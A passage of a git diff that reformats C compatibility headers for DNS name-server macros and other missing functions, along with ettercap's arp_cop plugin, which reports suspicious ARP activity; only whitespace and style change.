(0x80>>((n)%NS_NXT_BITS))) -#define NS_NXT_BIT_CLEAR(n,p) (p[(n)/NS_NXT_BITS] &= ~(0x80>>((n)%NS_NXT_BITS))) -#define NS_NXT_BIT_ISSET(n,p) (p[(n)/NS_NXT_BITS] & (0x80>>((n)%NS_NXT_BITS))) +#define NS_NXT_BITS 8 +#define NS_NXT_BIT_SET(n, p) (p[(n) / NS_NXT_BITS] |= (0x80 >> ((n) % NS_NXT_BITS))) +#define NS_NXT_BIT_CLEAR(n, p) (p[(n) / NS_NXT_BITS] &= ~(0x80 >> ((n) % NS_NXT_BITS))) +#define NS_NXT_BIT_ISSET(n, p) (p[(n) / NS_NXT_BITS] & (0x80 >> ((n) % NS_NXT_BITS))) #define NS_NXT_MAX 127 /* * Inline versions of get/put short/long. Pointer is advanced. */ -#define NS_GET16(s, cp) do { \ - register u_char *t_cp = (u_char *)(cp); \ - (s) = ((u_int16_t)t_cp[0] << 8) \ - | ((u_int16_t)t_cp[1]) \ - ; \ - (cp) += NS_INT16SZ; \ -} while (0) - -#define NS_GET32(l, cp) do { \ - register u_char *t_cp = (u_char *)(cp); \ - (l) = ((u_int32_t)t_cp[0] << 24) \ - | ((u_int32_t)t_cp[1] << 16) \ - | ((u_int32_t)t_cp[2] << 8) \ - | ((u_int32_t)t_cp[3]) \ - ; \ - (cp) += NS_INT32SZ; \ -} while (0) - -#define NS_PUT16(s, cp) do { \ - register u_int16_t t_s = (u_int16_t)(s); \ - register u_char *t_cp = (u_char *)(cp); \ - *t_cp++ = t_s >> 8; \ - *t_cp = t_s; \ - (cp) += NS_INT16SZ; \ -} while (0) - -#define NS_PUT32(l, cp) do { \ - register u_int32_t t_l = (u_int32_t)(l); \ - register u_char *t_cp = (u_char *)(cp); \ - *t_cp++ = t_l >> 24; \ - *t_cp++ = t_l >> 16; \ - *t_cp++ = t_l >> 8; \ - *t_cp = t_l; \ - (cp) += NS_INT32SZ; \ -} while (0) +#define NS_GET16(s, cp) \ + do { \ + register u_char *t_cp = (u_char *)(cp); \ + (s) = ((u_int16_t)t_cp[0] << 8) \ + | ((u_int16_t)t_cp[1]) \ + ; \ + (cp) += NS_INT16SZ; \ + } while (0) + +#define NS_GET32(l, cp) \ + do { \ + register u_char *t_cp = (u_char *)(cp); \ + (l) = ((u_int32_t)t_cp[0] << 24) \ + | ((u_int32_t)t_cp[1] << 16) \ + | ((u_int32_t)t_cp[2] << 8) \ + | ((u_int32_t)t_cp[3]) \ + ; \ + (cp) += NS_INT32SZ; \ + } while (0) + +#define NS_PUT16(s, cp) \ + do { \ + register u_int16_t t_s = (u_int16_t)(s); \ + register u_char *t_cp = (u_char *)(cp); \ + *t_cp++ = t_s >> 8; \ + *t_cp = t_s; \ + (cp) += NS_INT16SZ; \ + } while (0) + +#define NS_PUT32(l, cp) \ + do { \ + register u_int32_t t_l = (u_int32_t)(l); \ + register u_char *t_cp = (u_char *)(cp); \ + *t_cp++ = t_l >> 24; \ + *t_cp++ = t_l >> 16; \ + *t_cp++ = t_l >> 8; \ + *t_cp = t_l; \ + (cp) += NS_INT32SZ; \ + } while (0) /* * ANSI C identifier hiding for bind's lib/nameser. */ -#define ns_get16 __ns_get16 -#define ns_get32 __ns_get32 -#define ns_put16 __ns_put16 -#define ns_put32 __ns_put32 -#define ns_initparse __ns_initparse -#define ns_skiprr __ns_skiprr -#define ns_parserr __ns_parserr -#define ns_sprintrr __ns_sprintrr -#define ns_sprintrrf __ns_sprintrrf -#define ns_format_ttl __ns_format_ttl -#define ns_parse_ttl __ns_parse_ttl -#define ns_datetosecs __ns_datetosecs -#define ns_name_ntol __ns_name_ntol -#define ns_name_ntop __ns_name_ntop -#define ns_name_pton __ns_name_pton -#define ns_name_unpack __ns_name_unpack -#define ns_name_pack __ns_name_pack -#define ns_name_compress __ns_name_compress -#define ns_name_uncompress __ns_name_uncompress -#define ns_name_skip __ns_name_skip -#define ns_name_rollback __ns_name_rollback -#define ns_sign __ns_sign -#define ns_sign_tcp __ns_sign_tcp -#define ns_sign_tcp_init __ns_sign_tcp_init -#define ns_find_tsig __ns_find_tsig -#define ns_verify __ns_verify -#define ns_verify_tcp __ns_verify_tcp -#define ns_verify_tcp_init __ns_verify_tcp_init -#define ns_samedomain __ns_samedomain -#define ns_subdomain __ns_subdomain -#define ns_makecanon __ns_makecanon -#define ns_samename __ns_samename +#define ns_get16 __ns_get16 +#define ns_get32 __ns_get32 +#define ns_put16 __ns_put16 +#define ns_put32 __ns_put32 +#define ns_initparse __ns_initparse +#define ns_skiprr __ns_skiprr +#define ns_parserr __ns_parserr +#define ns_sprintrr __ns_sprintrr +#define ns_sprintrrf __ns_sprintrrf +#define ns_format_ttl __ns_format_ttl +#define ns_parse_ttl __ns_parse_ttl +#define ns_datetosecs __ns_datetosecs +#define ns_name_ntol __ns_name_ntol +#define ns_name_ntop __ns_name_ntop +#define ns_name_pton __ns_name_pton +#define ns_name_unpack __ns_name_unpack +#define ns_name_pack __ns_name_pack +#define ns_name_compress __ns_name_compress +#define ns_name_uncompress __ns_name_uncompress +#define ns_name_skip __ns_name_skip +#define ns_name_rollback __ns_name_rollback +#define ns_sign __ns_sign +#define ns_sign_tcp __ns_sign_tcp +#define ns_sign_tcp_init __ns_sign_tcp_init +#define ns_find_tsig __ns_find_tsig +#define ns_verify __ns_verify +#define ns_verify_tcp __ns_verify_tcp +#define ns_verify_tcp_init __ns_verify_tcp_init +#define ns_samedomain __ns_samedomain +#define ns_subdomain __ns_subdomain +#define ns_makecanon __ns_makecanon +#define ns_samename __ns_samename __BEGIN_DECLS -u_int ns_get16 __P((const u_char *)); -u_long ns_get32 __P((const u_char *)); -void ns_put16 __P((u_int, u_char *)); -void ns_put32 __P((u_long, u_char *)); -int ns_initparse __P((const u_char *, int, ns_msg *)); -int ns_skiprr __P((const u_char *, const u_char *, ns_sect, int)); -int ns_parserr __P((ns_msg *, ns_sect, int, ns_rr *)); -int ns_sprintrr __P((const ns_msg *, const ns_rr *, - const char *, const char *, char *, size_t)); -int ns_sprintrrf __P((const u_char *, size_t, const char *, - ns_class, ns_type, u_long, const u_char *, - size_t, const char *, const char *, - char *, size_t)); -int ns_format_ttl __P((u_long, char *, size_t)); -int ns_parse_ttl __P((const char *, u_long *)); -u_int32_t ns_datetosecs __P((const char *cp, int *errp)); -int ns_name_ntol __P((const u_char *, u_char *, size_t)); -int ns_name_ntop __P((const u_char *, char *, size_t)); -int ns_name_pton __P((const char *, u_char *, size_t)); -int ns_name_unpack __P((const u_char *, const u_char *, - const u_char *, u_char *, size_t)); -int ns_name_pack __P((const u_char *, u_char *, int, - const u_char **, const u_char **)); -int ns_name_uncompress __P((const u_char *, const u_char *, - const u_char *, char *, size_t)); -int ns_name_compress __P((const char *, u_char *, size_t, - const u_char **, const u_char **)); -int ns_name_skip __P((const u_char **, const u_char *)); -void ns_name_rollback __P((const u_char *, const u_char **, - const u_char **)); -int ns_sign __P((u_char *, int *, int, int, void *, - const u_char *, int, u_char *, int *, time_t)); -int ns_sign_tcp __P((u_char *, int *, int, int, - ns_tcp_tsig_state *, int)); -int ns_sign_tcp_init __P((void *, const u_char *, int, - ns_tcp_tsig_state *)); -u_char *ns_find_tsig __P((u_char *, u_char *)); -int ns_verify __P((u_char *, int *, void *, - const u_char *, int, u_char *, int *, - time_t *, int)); -int ns_verify_tcp __P((u_char *, int *, ns_tcp_tsig_state *, int)); -int ns_verify_tcp_init __P((void *, const u_char *, int, - ns_tcp_tsig_state *)); -int ns_samedomain __P((const char *, const char *)); -int ns_subdomain __P((const char *, const char *)); -int ns_makecanon __P((const char *, char *, size_t)); -int ns_samename __P((const char *, const char *)); +u_int ns_get16 __P((const u_char *)); +u_long ns_get32 __P((const u_char *)); +void ns_put16 __P((u_int, u_char *)); +void ns_put32 __P((u_long, u_char *)); +int ns_initparse __P((const u_char *, int, ns_msg *)); +int ns_skiprr __P((const u_char *, const u_char *, ns_sect, int)); +int ns_parserr __P((ns_msg *, ns_sect, int, ns_rr *)); +int ns_sprintrr __P((const ns_msg *, const ns_rr *, + const char *, const char *, char *, size_t)); +int ns_sprintrrf __P((const u_char *, size_t, const char *, + ns_class, ns_type, u_long, const u_char *, + size_t, const char *, const char *, + char *, size_t)); +int ns_format_ttl __P((u_long, char *, size_t)); +int ns_parse_ttl __P((const char *, u_long *)); +u_int32_t ns_datetosecs __P((const char *cp, int *errp)); +int ns_name_ntol __P((const u_char *, u_char *, size_t)); +int ns_name_ntop __P((const u_char *, char *, size_t)); +int ns_name_pton __P((const char *, u_char *, size_t)); +int ns_name_unpack __P((const u_char *, const u_char *, + const u_char *, u_char *, size_t)); +int ns_name_pack __P((const u_char *, u_char *, int, + const u_char **, const u_char **)); +int ns_name_uncompress __P((const u_char *, const u_char *, + const u_char *, char *, size_t)); +int ns_name_compress __P((const char *, u_char *, size_t, + const u_char **, const u_char **)); +int ns_name_skip __P((const u_char **, const u_char *)); +void ns_name_rollback __P((const u_char *, const u_char **, + const u_char **)); +int ns_sign __P((u_char *, int *, int, int, void *, + const u_char *, int, u_char *, int *, time_t)); +int ns_sign_tcp __P((u_char *, int *, int, int, + ns_tcp_tsig_state *, int)); +int ns_sign_tcp_init __P((void *, const u_char *, int, + ns_tcp_tsig_state *)); +u_char *ns_find_tsig __P((u_char *, u_char *)); +int ns_verify __P((u_char *, int *, void *, + const u_char *, int, u_char *, int *, + time_t *, int)); +int ns_verify_tcp __P((u_char *, int *, ns_tcp_tsig_state *, int)); +int ns_verify_tcp_init __P((void *, const u_char *, int, + ns_tcp_tsig_state *)); +int ns_samedomain __P((const char *, const char *)); +int ns_subdomain __P((const char *, const char *)); +int ns_makecanon __P((const char *, char *, size_t)); +int ns_samename __P((const char *, const char *)); __END_DECLS #ifdef BIND_4_COMPAT diff --git a/include/missing/nameser_compat.h b/include/missing/nameser_compat.h index 246b905b9..42202c5bc 100644 --- a/include/missing/nameser_compat.h +++ b/include/missing/nameser_compat.h @@ -32,13 +32,13 @@ */ #ifndef _ARPA_NAMESER_COMPAT_ -#define _ARPA_NAMESER_COMPAT_ +#define _ARPA_NAMESER_COMPAT_ -#define __BIND 19950621 /* (DEAD) interface version stamp. */ +#define __BIND 19950621 /* (DEAD) interface version stamp. */ /* #include */ -#define LITTLE_ENDIAN 1234 // added by ALoR +#define LITTLE_ENDIAN 1234 // added by ALoR #define BIG_ENDIAN 4321 #define PDP_ENDIAN 3412 @@ -52,138 +52,137 @@ */ typedef struct { - unsigned id :16; /* query identification number */ + unsigned id : 16; /* query identification number */ #if BYTE_ORDER == BIG_ENDIAN - /* fields in third byte */ - unsigned qr: 1; /* response flag */ - unsigned opcode: 4; /* purpose of message */ - unsigned aa: 1; /* authoritive answer */ - unsigned tc: 1; /* truncated message */ - unsigned rd: 1; /* recursion desired */ - /* fields in fourth byte */ - unsigned ra: 1; /* recursion available */ - unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ - unsigned ad: 1; /* authentic data from named */ - unsigned cd: 1; /* checking disabled by resolver */ - unsigned rcode :4; /* response code */ + /* fields in third byte */ + unsigned qr : 1; /* response flag */ + unsigned opcode : 4; /* purpose of message */ + unsigned aa : 1; /* authoritive answer */ + unsigned tc : 1; /* truncated message */ + unsigned rd : 1; /* recursion desired */ + /* fields in fourth byte */ + unsigned ra : 1; /* recursion available */ + unsigned unused : 1; /* unused bits (MBZ as of 4.9.3a3) */ + unsigned ad : 1; /* authentic data from named */ + unsigned cd : 1; /* checking disabled by resolver */ + unsigned rcode : 4; /* response code */ #endif #if BYTE_ORDER == LITTLE_ENDIAN || BYTE_ORDER == PDP_ENDIAN - /* fields in third byte */ - unsigned rd :1; /* recursion desired */ - unsigned tc :1; /* truncated message */ - unsigned aa :1; /* authoritive answer */ - unsigned opcode :4; /* purpose of message */ - unsigned qr :1; /* response flag */ - /* fields in fourth byte */ - unsigned rcode :4; /* response code */ - unsigned cd: 1; /* checking disabled by resolver */ - unsigned ad: 1; /* authentic data from named */ - unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ - unsigned ra :1; /* recursion available */ + /* fields in third byte */ + unsigned rd : 1; /* recursion desired */ + unsigned tc : 1; /* truncated message */ + unsigned aa : 1; /* authoritive answer */ + unsigned opcode : 4; /* purpose of message */ + unsigned qr : 1; /* response flag */ + /* fields in fourth byte */ + unsigned rcode : 4; /* response code */ + unsigned cd : 1; /* checking disabled by resolver */ + unsigned ad : 1; /* authentic data from named */ + unsigned unused : 1; /* unused bits (MBZ as of 4.9.3a3) */ + unsigned ra : 1; /* recursion available */ #endif - /* remaining bytes */ - unsigned qdcount :16; /* number of question entries */ - unsigned ancount :16; /* number of answer entries */ - unsigned nscount :16; /* number of authority entries */ - unsigned arcount :16; /* number of resource entries */ + /* remaining bytes */ + unsigned qdcount : 16; /* number of question entries */ + unsigned ancount : 16; /* number of answer entries */ + unsigned nscount : 16; /* number of authority entries */ + unsigned arcount : 16; /* number of resource entries */ } HEADER; -#define PACKETSZ NS_PACKETSZ -#define MAXDNAME NS_MAXDNAME -#define MAXCDNAME NS_MAXCDNAME -#define MAXLABEL NS_MAXLABEL -#define HFIXEDSZ NS_HFIXEDSZ -#define QFIXEDSZ NS_QFIXEDSZ -#define RRFIXEDSZ NS_RRFIXEDSZ -#define INT32SZ NS_INT32SZ -#define INT16SZ NS_INT16SZ -#define INADDRSZ NS_INADDRSZ -#define IN6ADDRSZ NS_IN6ADDRSZ -#define INDIR_MASK NS_CMPRSFLGS -#define NAMESERVER_PORT NS_DEFAULTPORT - -#define S_ZONE ns_s_zn -#define S_PREREQ ns_s_pr -#define S_UPDATE ns_s_ud -#define S_ADDT ns_s_ar - -#define QUERY ns_o_query -#define IQUERY ns_o_iquery -#define STATUS ns_o_status -#define NS_NOTIFY_OP ns_o_notify -#define NS_UPDATE_OP ns_o_update +#define PACKETSZ NS_PACKETSZ +#define MAXDNAME NS_MAXDNAME +#define MAXCDNAME NS_MAXCDNAME +#define MAXLABEL NS_MAXLABEL +#define HFIXEDSZ NS_HFIXEDSZ +#define QFIXEDSZ NS_QFIXEDSZ +#define RRFIXEDSZ NS_RRFIXEDSZ +#define INT32SZ NS_INT32SZ +#define INT16SZ NS_INT16SZ +#define INADDRSZ NS_INADDRSZ +#define IN6ADDRSZ NS_IN6ADDRSZ +#define INDIR_MASK NS_CMPRSFLGS +#define NAMESERVER_PORT NS_DEFAULTPORT + +#define S_ZONE ns_s_zn +#define S_PREREQ ns_s_pr +#define S_UPDATE ns_s_ud +#define S_ADDT ns_s_ar + +#define QUERY ns_o_query +#define IQUERY ns_o_iquery +#define STATUS ns_o_status +#define NS_NOTIFY_OP ns_o_notify +#define NS_UPDATE_OP ns_o_update /*#define NOERROR ns_r_noerror*/ -#define FORMERR ns_r_formerr -#define SERVFAIL ns_r_servfail -#define NXDOMAIN ns_r_nxdomain -#define NOTIMP ns_r_notimpl -#define REFUSED ns_r_refused -#define YXDOMAIN ns_r_yxdomain -#define YXRRSET ns_r_yxrrset -#define NXRRSET ns_r_nxrrset -#define NOTAUTH ns_r_notauth -#define NOTZONE ns_r_notzone +#define FORMERR ns_r_formerr +#define SERVFAIL ns_r_servfail +#define NXDOMAIN ns_r_nxdomain +#define NOTIMP ns_r_notimpl +#define REFUSED ns_r_refused +#define YXDOMAIN ns_r_yxdomain +#define YXRRSET ns_r_yxrrset +#define NXRRSET ns_r_nxrrset +#define NOTAUTH ns_r_notauth +#define NOTZONE ns_r_notzone /*#define BADSIG ns_r_badsig*/ /*#define BADKEY ns_r_badkey*/ /*#define BADTIME ns_r_badtime*/ - /*#define DELETE ns_uop_delete*/ -#define ADD ns_uop_add - -#define T_A ns_t_a -#define T_NS ns_t_ns -#define T_MD ns_t_md -#define T_MF ns_t_mf -#define T_CNAME ns_t_cname -#define T_SOA ns_t_soa -#define T_MB ns_t_mb -#define T_MG ns_t_mg -#define T_MR ns_t_mr -#define T_NULL ns_t_null -#define T_WKS ns_t_wks -#define T_PTR ns_t_ptr -#define T_HINFO ns_t_hinfo -#define T_MINFO ns_t_minfo -#define T_MX ns_t_mx -#define T_TXT ns_t_txt -#define T_RP ns_t_rp -#define T_AFSDB ns_t_afsdb -#define T_X25 ns_t_x25 -#define T_ISDN ns_t_isdn -#define T_RT ns_t_rt -#define T_NSAP ns_t_nsap -#define T_NSAP_PTR ns_t_nsap_ptr -#define T_SIG ns_t_sig -#define T_KEY ns_t_key -#define T_PX ns_t_px -#define T_GPOS ns_t_gpos -#define T_AAAA ns_t_aaaa -#define T_LOC ns_t_loc -#define T_NXT ns_t_nxt -#define T_EID ns_t_eid -#define T_NIMLOC ns_t_nimloc -#define T_SRV ns_t_srv -#define T_ATMA ns_t_atma -#define T_NAPTR ns_t_naptr -#define T_TSIG ns_t_tsig -#define T_IXFR ns_t_ixfr -#define T_AXFR ns_t_axfr -#define T_MAILB ns_t_mailb -#define T_MAILA ns_t_maila -#define T_ANY ns_t_any - -#define C_IN ns_c_in -#define C_CHAOS ns_c_chaos -#define C_HS ns_c_hs +#define ADD ns_uop_add + +#define T_A ns_t_a +#define T_NS ns_t_ns +#define T_MD ns_t_md +#define T_MF ns_t_mf +#define T_CNAME ns_t_cname +#define T_SOA ns_t_soa +#define T_MB ns_t_mb +#define T_MG ns_t_mg +#define T_MR ns_t_mr +#define T_NULL ns_t_null +#define T_WKS ns_t_wks +#define T_PTR ns_t_ptr +#define T_HINFO ns_t_hinfo +#define T_MINFO ns_t_minfo +#define T_MX ns_t_mx +#define T_TXT ns_t_txt +#define T_RP ns_t_rp +#define T_AFSDB ns_t_afsdb +#define T_X25 ns_t_x25 +#define T_ISDN ns_t_isdn +#define T_RT ns_t_rt +#define T_NSAP ns_t_nsap +#define T_NSAP_PTR ns_t_nsap_ptr +#define T_SIG ns_t_sig +#define T_KEY ns_t_key +#define T_PX ns_t_px +#define T_GPOS ns_t_gpos +#define T_AAAA ns_t_aaaa +#define T_LOC ns_t_loc +#define T_NXT ns_t_nxt +#define T_EID ns_t_eid +#define T_NIMLOC ns_t_nimloc +#define T_SRV ns_t_srv +#define T_ATMA ns_t_atma +#define T_NAPTR ns_t_naptr +#define T_TSIG ns_t_tsig +#define T_IXFR ns_t_ixfr +#define T_AXFR ns_t_axfr +#define T_MAILB ns_t_mailb +#define T_MAILA ns_t_maila +#define T_ANY ns_t_any + +#define C_IN ns_c_in +#define C_CHAOS ns_c_chaos +#define C_HS ns_c_hs /* BIND_UPDATE */ -#define C_NONE ns_c_none -#define C_ANY ns_c_any +#define C_NONE ns_c_none +#define C_ANY ns_c_any -#define GETSHORT NS_GET16 -#define GETLONG NS_GET32 -#define PUTSHORT NS_PUT16 -#define PUTLONG NS_PUT32 +#define GETSHORT NS_GET16 +#define GETLONG NS_GET32 +#define PUTSHORT NS_PUT16 +#define PUTLONG NS_PUT32 #endif /* _ARPA_NAMESER_COMPAT_ */ diff --git a/include/missing/ncurses_mingw.h b/include/missing/ncurses_mingw.h index 923aef138..7c4c3ec92 100644 --- a/include/missing/ncurses_mingw.h +++ b/include/missing/ncurses_mingw.h @@ -14,13 +14,12 @@ #include /* part of ncurses */ /* from ncurses 5.4 */ -extern const char *curses_version (void); +extern const char *curses_version(void); -extern int vwprintw (WINDOW *, const char *,va_list); +extern int vwprintw(WINDOW *, const char *, va_list); #define vw_printw vwprintw -extern int wresize (WINDOW *, int, int); -extern bool wenclose (const WINDOW *, int, int); - -#endif /* _NCURSES_FOR_WINDOWS_H */ +extern int wresize(WINDOW *, int, int); +extern bool wenclose(const WINDOW *, int, int); +#endif /* _NCURSES_FOR_WINDOWS_H */ diff --git a/include/missing/scandir.h b/include/missing/scandir.h index 24677a006..7d2d6fee0 100644 --- a/include/missing/scandir.h +++ b/include/missing/scandir.h @@ -2,10 +2,9 @@ #include extern int scandir(const char *dir, struct dirent ***namelist, - int (*select)(const struct dirent *), - int (*compar)(const struct dirent **, const struct dirent **)); + int (*select)(const struct dirent *), + int (*compar)(const struct dirent **, const struct dirent **)); extern int alphasort(const struct dirent **a, const struct dirent **b); /* EOF */ - diff --git a/include/missing/strcasestr.h b/include/missing/strcasestr.h index 8ccc609e7..9911d63f1 100644 --- a/include/missing/strcasestr.h +++ b/include/missing/strcasestr.h @@ -2,6 +2,6 @@ #error Move this header somewhere else #endif -EC_API_EXTERN char * strcasestr(const char *hailstack, const char *needle); +EC_API_EXTERN char *strcasestr(const char *hailstack, const char *needle); /* EOF */ diff --git a/include/missing/strndup.h b/include/missing/strndup.h index 4634723fa..403ee88ba 100644 --- a/include/missing/strndup.h +++ b/include/missing/strndup.h @@ -1,28 +1,27 @@ /* Implement the strndup function. - Copyright (C) 2005 Free Software Foundation, Inc. - Written by Kaveh R. Ghazi . + * Copyright (C) 2005 Free Software Foundation, Inc. + * Written by Kaveh R. Ghazi . + * + * This file is part of the libiberty library. + * Libiberty is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * Libiberty is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with libiberty; see the file COPYING.LIB. If + * not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, + * Boston, MA 02110-1301, USA. */ -This file is part of the libiberty library. -Libiberty is free software; you can redistribute it and/or -modify it under the terms of the GNU Library General Public -License as published by the Free Software Foundation; either -version 2 of the License, or (at your option) any later version. +#include +#include +#include -Libiberty is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Library General Public License for more details. - -You should have received a copy of the GNU Library General Public -License along with libiberty; see the file COPYING.LIB. If -not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, -Boston, MA 02110-1301, USA. */ - -#include -#include -#include - -char * strndup (const char *s, size_t n); +char *strndup(const char *s, size_t n); /* EOF */ - diff --git a/include/missing/strsep.h b/include/missing/strsep.h index 6f22d3a26..eb43f427d 100644 --- a/include/missing/strsep.h +++ b/include/missing/strsep.h @@ -2,7 +2,6 @@ #error Move this header somewhere else #endif -EC_API_EXTERN char * strsep(char **stringp, const char *delim); +EC_API_EXTERN char *strsep(char **stringp, const char *delim); /* EOF */ - diff --git a/include/missing/termios_mingw.h b/include/missing/termios_mingw.h index ce593e723..ad308d2ac 100644 --- a/include/missing/termios_mingw.h +++ b/include/missing/termios_mingw.h @@ -8,11 +8,11 @@ #define NCCS 12 struct termios { - unsigned c_lflag; - unsigned c_cc [NCCS]; - }; + unsigned c_lflag; + unsigned c_cc[NCCS]; +}; -#define tcgetattr(x,y) ((void)0) -#define tcsetattr(x,y,z) ((void)0) +#define tcgetattr(x, y) ((void)0) +#define tcsetattr(x, y, z) ((void)0) #endif diff --git a/plug-ins/arp_cop/arp_cop.c b/plug-ins/arp_cop/arp_cop.c index 907cac5bd..762d9b10c 100644 --- a/plug-ins/arp_cop/arp_cop.c +++ b/plug-ins/arp_cop/arp_cop.c @@ -1,26 +1,25 @@ /* - arp_cop -- ettercap plugin -- Report suspicious ARP activity - - Copyright (C) ALoR & NaGA - - Copyright (C) 2001 for the original plugin : Paulo Madeira - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ - + * arp_cop -- ettercap plugin -- Report suspicious ARP activity + * + * Copyright (C) ALoR & NaGA + * + * Copyright (C) 2001 for the original plugin : Paulo Madeira + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -40,55 +39,54 @@ LIST_HEAD(, hosts_list) arp_cop_table; /* plugin operations */ -struct plugin_ops arp_cop_ops = { +struct plugin_ops arp_cop_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "arp_cop", - /* a short description of the plugin (max 50 chars) */ - .info = "Report suspicious ARP activity", - /* the plugin version. */ - .version = "1.1", + .name = "arp_cop", + /* a short description of the plugin (max 50 chars) */ + .info = "Report suspicious ARP activity", + /* the plugin version. */ + .version = "1.1", /* activation function */ - .init = &arp_cop_init, - /* deactivation function */ - .fini = &arp_cop_fini, + .init = &arp_cop_init, + /* deactivation function */ + .fini = &arp_cop_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &arp_cop_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int arp_cop_init(void *dummy) +static int arp_cop_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("arp_cop: plugin running...\n"); arp_init_list(); - + hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); hook_add(HOOK_PACKET_ARP_RP, &parse_arp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int arp_cop_fini(void *dummy) +static int arp_cop_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("arp_cop: plugin terminated...\n"); /* We don't free the global list for further reuse */ - + hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); hook_del(HOOK_PACKET_ARP_RP, &parse_arp); return PLUGIN_FINISHED; @@ -108,45 +106,45 @@ static void parse_arp(struct packet_object *po) LIST_FOREACH(h1, &arp_cop_table, next) { /* The IP address is already in the list */ - if(!ip_addr_cmp(&po->L3.src, &h1->ip)) { - + if (!ip_addr_cmp(&po->L3.src, &h1->ip)) { + /* This is its normal MAC address */ if (!memcmp(po->L2.src, h1->mac, MEDIA_ADDR_LEN)) return; - /* Someone is spoofing, check if we already know its mac address */ + /* Someone is spoofing, check if we already know its mac address */ LIST_FOREACH(h2, &arp_cop_table, next) { if (!memcmp(po->L2.src, h2->mac, MEDIA_ADDR_LEN)) { /* don't report my own poisoning */ if (ip_addr_cmp(&h2->ip, &GBL_IFACE->ip)) - USER_MSG("arp_cop: (WARNING) %s[%s] pretends to be %s[%s]\n", ip_addr_ntoa(&h2->ip, tmp1), - mac_addr_ntoa(h2->mac, str1), - ip_addr_ntoa(&h1->ip, tmp2), - mac_addr_ntoa(h1->mac, str2)); + USER_MSG("arp_cop: (WARNING) %s[%s] pretends to be %s[%s]\n", ip_addr_ntoa(&h2->ip, tmp1), + mac_addr_ntoa(h2->mac, str1), + ip_addr_ntoa(&h1->ip, tmp2), + mac_addr_ntoa(h1->mac, str2)); return; } } - + /* A new NIC claims an existing IP address */ - USER_MSG("arp_cop: (IP-conflict) [%s] wants to be %s[%s]\n", mac_addr_ntoa(po->L2.src, str1), - ip_addr_ntoa(&h1->ip, tmp1), - mac_addr_ntoa(h1->mac, str2)); + USER_MSG("arp_cop: (IP-conflict) [%s] wants to be %s[%s]\n", mac_addr_ntoa(po->L2.src, str1), + ip_addr_ntoa(&h1->ip, tmp1), + mac_addr_ntoa(h1->mac, str2)); return; - } + } } - + /* The IP address is not yet in the list */ LIST_FOREACH(h1, &arp_cop_table, next) { if (!memcmp(po->L2.src, h1->mac, MEDIA_ADDR_LEN)) { - USER_MSG("arp_cop: (IP-change) [%s] %s -> %s\n", mac_addr_ntoa(h1->mac, str1), - ip_addr_ntoa(&h1->ip, tmp1), - ip_addr_ntoa(&po->L3.src, tmp2)); + USER_MSG("arp_cop: (IP-change) [%s] %s -> %s\n", mac_addr_ntoa(h1->mac, str1), + ip_addr_ntoa(&h1->ip, tmp1), + ip_addr_ntoa(&po->L3.src, tmp2)); found = 1; } } - + if (!found) - USER_MSG("arp_cop: (new host) %s[%s]\n", ip_addr_ntoa(&po->L3.src, tmp1), mac_addr_ntoa(po->L2.src, str1)); + USER_MSG("arp_cop: (new host) %s[%s]\n", ip_addr_ntoa(&po->L3.src, tmp1), mac_addr_ntoa(po->L2.src, str1)); /* Insert the host in th list */ SAFE_CALLOC(h1, 1, sizeof(struct hosts_list)); @@ -160,9 +158,9 @@ static void arp_init_list() struct hosts_list *h1, *h2; /* If we have already run it once */ - if(!LIST_EMPTY(&arp_cop_table)) + if (!LIST_EMPTY(&arp_cop_table)) return; - + /* Fill the arp_cop_table with the initial host list */ LIST_FOREACH(h1, &GBL_HOSTLIST, next) { SAFE_CALLOC(h2, 1, sizeof(struct hosts_list)); @@ -170,7 +168,7 @@ static void arp_init_list() memcpy(h2->mac, h1->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_cop_table, h2, next); } - + /* Add our IP address */ SAFE_CALLOC(h2, 1, sizeof(struct hosts_list)); memcpy(&h2->ip, &GBL_IFACE->ip, sizeof(struct ip_addr)); @@ -178,8 +176,6 @@ static void arp_init_list() LIST_INSERT_HEAD(&arp_cop_table, h2, next); } - /* EOF */ // vim:ts=3:expandtab - diff --git 